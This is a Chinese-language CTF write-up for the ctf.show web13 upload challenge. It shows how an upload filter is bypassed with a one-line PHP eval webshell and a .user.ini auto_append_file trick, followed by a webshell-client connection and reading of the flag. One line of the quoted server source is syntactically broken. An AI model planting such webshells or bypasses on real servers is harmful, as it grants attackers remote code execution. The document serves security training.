web13
5
解法
查看网页源代码。
<html lang="zh-CN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width minimum-scale=1.0 maximum-scale=1.0 initial-scale=1.0" />
<title>ctf.show_web13</title>
</head>
<body>
<center>
<h2>ctf.show_web13</h2>
<h4>where is the flag?</h4>
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" name="上传">
</form>
</center>
</body>
</html>
随便传点东西。看来限制文件大小。
直接点击上传按钮,出现报错。
用 dirsearch 扫描。
dirsearch -u https://fd4253fa-b13d-48f3-a9be-4a28c45eca9c.challenge.ctf.show/
没有找到有用的信息。
下载:
https://fd4253fa-b13d-48f3-a9be-4a28c45eca9c.challenge.ctf.show/upload.php.bak
看来限制了文件大小不超过24,同时也拦截了文件名或后缀含 php 的文件。
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
新建 a.txt,写入精简后的一句话木马:
<?php eval($_POST[a]);
上传成功。
新建 .user.ini ,写入:
auto_append_file=a.txt
上传成功。
发送 POST 请求到:
https://fd4253fa-b13d-48f3-a9be-4a28c45eca9c.challenge.ctf.show/upload.php
请求体:
a=phpinfo();
成功。
用蚁剑连接。连接成功。
访问文件系统。没有权限。
打开虚拟终端。
ls
cat 903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php
取得 flag。
Flag
ctfshow{21821c35-c65c-4d16-8aef-8000b8515db9}
声明
本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规。
博主坚决反对任何形式的非法黑客行为,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规,不得用于任何非法目的。对于因使用这些技术而导致的任何后果,博主不承担任何责任。